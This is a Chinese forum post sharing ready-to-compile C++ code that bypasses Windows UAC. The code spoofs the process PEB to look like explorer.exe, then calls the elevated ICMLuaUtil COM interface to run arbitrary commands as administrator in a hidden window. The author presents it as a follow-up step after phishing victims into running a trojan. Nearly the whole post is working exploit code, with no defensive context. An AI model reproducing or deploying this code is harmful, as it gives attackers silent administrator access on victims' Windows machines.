Bypass Uac分享

alyssa · 发表于 2023-9-9 10:11:49

前言

先介绍一个bypass uac的场景，在gf的场景，如果目标的外网资产打不动的话，一般情况就会采用社工钓鱼，但是一般情况下目标点击我们的马子通常是以当前用户的普通权限运行的(当然也可以在做马的时候设置UAC执行级别为requireAdministrator)，如果目标用户在管理员组那就可以通过uac来提权了，那下面就分享一个bypass uac的代码，通过伪PEB+ICMLuaUtil，X86的选择好直接复制粘贴生成。

代码

1. #include "windows.h"<o:p></o:p>
3. #include "winternl.h"<o:p></o:p>
5. #include <iostream><o:p></o:p>
7. 
9. using namespace std;<o:p></o:p>
11. 
13. // 定义接口 ICMLuaUtil 和其方法<o:p></o:p>
15. typedef interface ICMLuaUtil ICMLuaUtil;<o:p></o:p>
17. typedef struct ICMLuaUtilVtbl {<o:p></o:p>
19. 
20. BEGIN_INTERFACE<o:p></o:p>
22. 
23. HRESULT(STDMETHODCALLTYPE* QueryInterface)(<o:p></o:p>
25. 
26. __RPC__in ICMLuaUtil* This,<o:p></o:p>
28. 
29. __RPC__in REFIID riid,<o:p></o:p>
31. 
32. _COM_Outptr_ void** ppvObject);<o:p></o:p>
34. 
35. ULONG(STDMETHODCALLTYPE* AddRef)(<o:p></o:p>
37. 
38. __RPC__in ICMLuaUtil* This);<o:p></o:p>
40. 
41. ULONG(STDMETHODCALLTYPE* Release)(<o:p></o:p>
43. 
44. __RPC__in ICMLuaUtil* This);<o:p></o:p>
46. 
48. //
49. incomplete definition<o:p></o:p>
51. 
52. HRESULT(STDMETHODCALLTYPE* SetRasCredentials)(<o:p></o:p>
54. 
55. __RPC__in ICMLuaUtil* This);<o:p></o:p>
57. 
59. //
60. incomplete definition<o:p></o:p>
62. 
63. HRESULT(STDMETHODCALLTYPE* SetRasEntryProperties)(<o:p></o:p>
65. 
66. __RPC__in ICMLuaUtil* This);<o:p></o:p>
68. 
70. //
71. incomplete definition<o:p></o:p>
73. 
74. HRESULT(STDMETHODCALLTYPE* DeleteRasEntry)(<o:p></o:p>
76. 
77. __RPC__in ICMLuaUtil* This);<o:p></o:p>
79. 
81. //
82. incomplete definition<o:p></o:p>
84. 
85. HRESULT(STDMETHODCALLTYPE* LaunchInfSection)(<o:p></o:p>
87. 
88. __RPC__in ICMLuaUtil* This);<o:p></o:p>
90. 
92. //
93. incomplete definition<o:p></o:p>
95. 
96. HRESULT(STDMETHODCALLTYPE* LaunchInfSectionEx)(<o:p></o:p>
98. 
99. __RPC__in ICMLuaUtil* This);<o:p></o:p>
101. 
103. //
104. incomplete definition<o:p></o:p>
106. 
107. HRESULT(STDMETHODCALLTYPE* CreateLayerDirectory)(<o:p></o:p>
109. 
110. __RPC__in ICMLuaUtil* This);<o:p></o:p>
112. 
114. 
115. HRESULT(STDMETHODCALLTYPE* ShellExec)(<o:p></o:p>
117. 
118. __RPC__in ICMLuaUtil* This,<o:p></o:p>
120. 
121. _In_ LPCTSTR lpFile,<o:p></o:p>
123. 
124. _In_opt_ LPCTSTR lpParameters,<o:p></o:p>
126. 
127. _In_opt_ LPCTSTR lpDirectory,<o:p></o:p>
129. 
130. _In_ ULONG fMask,<o:p></o:p>
132. 
133. _In_ ULONG nShow);<o:p></o:p>
135. 
136. END_INTERFACE<o:p></o:p>
138. } *PICMLuaUtilVtbl;<o:p></o:p>
140. 
142. interface ICMLuaUtil {<o:p></o:p>
144. 
145. CONST_VTBL struct ICMLuaUtilVtbl* lpVtbl;<o:p></o:p>
147. };<o:p></o:p>
149. 
151. 
153. // 以管理员权限运行指定的命令<o:p></o:p>
155. HRESULT RunElevated(LPCWSTR lpCmdline) {<o:p></o:p>
157. 
158. HRESULT status = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED |
159. COINIT_DISABLE_OLE1DDE);<o:p></o:p>
161. 
162. ICMLuaUtil* CMLuaUtil = NULL;<o:p></o:p>
164. IID
165. xIID_ICMLuaUtil;<o:p></o:p>
167. 
168. LPCWSTR lpIID = L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}";<o:p></o:p>
170. 
171. IIDFromString(lpIID, &xIID_ICMLuaUtil);<o:p></o:p>
173. 
174. BIND_OPTS3 bop;<o:p></o:p>
176. 
178. 
179. ZeroMemory(&bop, sizeof(bop));<o:p></o:p>
181. 
183. if
184. (!SUCCEEDED(status))<o:p></o:p>
186. 
187. return status;<o:p></o:p>
189. 
191. // 使用CoGetObject方法获取ICMLuaUtil接口的实例<o:p></o:p>
193. // 这里尝试获取Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}的对象实例，该接口通常用于执行以管理员权限运行的操作<o:p></o:p>
195. 
196. bop.cbStruct = sizeof(bop);<o:p></o:p>
198. 
199. bop.dwClassContext = CLSCTX_LOCAL_SERVER;<o:p></o:p>
201. 
202. status =
203. CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}",
204. (BIND_OPTS*)&bop, xIID_ICMLuaUtil, (VOID**)&CMLuaUtil);<o:p></o:p>
206. 
208. if
209. (status != S_OK)<o:p></o:p>
211. 
212. return status;<o:p></o:p>
214. 
216. // 构造带有 "/c" 命令的命令行<o:p></o:p>
218. 
219. wstring cmdLineWithC = L"/c " + wstring(lpCmdline);<o:p></o:p>
221. 
223. // 以隐藏方式运行指定的命令<o:p></o:p>
225. 
226. status = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
227. L"cmd.exe", cmdLineWithC.c_str(), NULL, SEE_MASK_DEFAULT, SW_HIDE);<o:p></o:p>
229. 
231. if
232. (CMLuaUtil != NULL) {<o:p></o:p>
234. 
235. CMLuaUtil->lpVtbl->Release(CMLuaUtil);<o:p></o:p>
237. }<o:p></o:p>
239. 
241. 
242. return status;<o:p></o:p>
244. }<o:p></o:p>
246. 
248. 
250. // 修改进程参数和Ldr的内容，以运行指定路径的应用程序<o:p></o:p>
252. VOID
253. ChangeProcessParametersAndLdr(PUNICODE_STRING name, LPCWSTR lpExplorePath) {<o:p></o:p>
255. 
256. typedef VOID(WINAPI* RtlInitUnicodeString)(_Inout_ PUNICODE_STRING DestinationString, _In_opt_
257. PCWSTR SourceString);<o:p></o:p>
259. 
260. RtlInitUnicodeString pfnRtlInitUnicodeString = NULL;<o:p></o:p>
262. 
264. 
265. HMODULE hDll = LoadLibrary(L"ntdll.dll");<o:p></o:p>
267. 
268. pfnRtlInitUnicodeString = (RtlInitUnicodeString)GetProcAddress(hDll,
269. "RtlInitUnicodeString");<o:p></o:p>
271. 
273. // 使用RtlInitUnicodeString方法来初始化UNICODE_STRING结构体，修改其内容<o:p></o:p>
275. 
276. pfnRtlInitUnicodeString(name, lpExplorePath);<o:p></o:p>
278. }<o:p></o:p>
280. 
282. int main() {<o:p></o:p>
284. int
285. nArgs = 0;<o:p></o:p>
287. 
288. LPWSTR* lpParam = NULL;<o:p></o:p>
290. 
291. HRESULT status = NULL;<o:p></o:p>
293. 
294. PPEB ppeb = NULL;<o:p></o:p>
296. 
297. DWORD* pFullDllName = NULL, pBaseDllName = NULL;<o:p></o:p>
299. 
301. // 解析命令行参数，获取要运行的命令<o:p></o:p>
303. 
304. lpParam = CommandLineToArgvW(GetCommandLine(), &nArgs);<o:p></o:p>
306. if
307. (nArgs <= 1) {<o:p></o:p>
309. 
310. cout << "uacbypass.exe [cmd]";<o:p></o:p>
312. 
313. return 0;<o:p></o:p>
315. }<o:p></o:p>
317. 
319. 
320. LPWSTR lpCmdline = *(lpParam + 1);<o:p></o:p>
322. 
324. 
325. LPWSTR lpExplorePath = new WCHAR[MAX_PATH];<o:p></o:p>
327. 
328. GetWindowsDirectory(lpExplorePath, MAX_PATH);<o:p></o:p>
330. 
331. lstrcat(lpExplorePath, L"\\explorer.exe");<o:p></o:p>
333. 
335. // 获取PEB（Process Environment Block）的相关字段地址<o:p></o:p>
337. 
338. __asm {<o:p></o:p>
340. 
341. push eax<o:p></o:p>
343. 
344. mov eax, fs:[0x30]<o:p></o:p>
346. 
347. mov ppeb, eax<o:p></o:p>
349. 
350. mov eax, [eax + 0x0c]<o:p></o:p>
352. 
353. mov eax, [eax + 0x0c]<o:p></o:p>
355. 
357. 
358. add eax, 0x24<o:p></o:p>
360. 
361. mov pFullDllName, eax<o:p></o:p>
363. 
365. 
366. sub eax, 0x24<o:p></o:p>
368. 
369. add eax, 0x2c<o:p></o:p>
371. 
372. mov pBaseDllName, eax<o:p></o:p>
374. 
376. 
377. pop eax<o:p></o:p>
379. }<o:p></o:p>
381. 
383. // 修改进程的ImagePathName、CommandLine、FullDllName、BaseDllName字段，指向系统的explorer.exe路径<o:p></o:p>
385. 
386. ChangeProcessParametersAndLdr(&ppeb->ProcessParameters->ImagePathName,
387. lpExplorePath);<o:p></o:p>
389. 
390. ChangeProcessParametersAndLdr(&ppeb->ProcessParameters->CommandLine,
391. lpExplorePath);<o:p></o:p>
393. 
394. ChangeProcessParametersAndLdr((PUNICODE_STRING)((unsigned
395. char*)pFullDllName), lpExplorePath);<o:p></o:p>
397. 
398. ChangeProcessParametersAndLdr((PUNICODE_STRING)((unsigned
399. char*)pBaseDllName), lpExplorePath);<o:p></o:p>
401. 
403. // 以管理员权限运行指定的命令<o:p></o:p>
405. 
406. status = RunElevated(lpCmdline);<o:p></o:p>
408. 
410. if
411. (SUCCEEDED(status))<o:p></o:p>
413. 
414. cout << "success!";<o:p></o:p>
416. 
418. 
419. return 0;<o:p></o:p>
421. }
复制代码

效果

总结

害，没啥好总结的，下课！

		自动登录	找回密码
密码			立即注册

Bypass Uac分享

本帖子中包含更多资源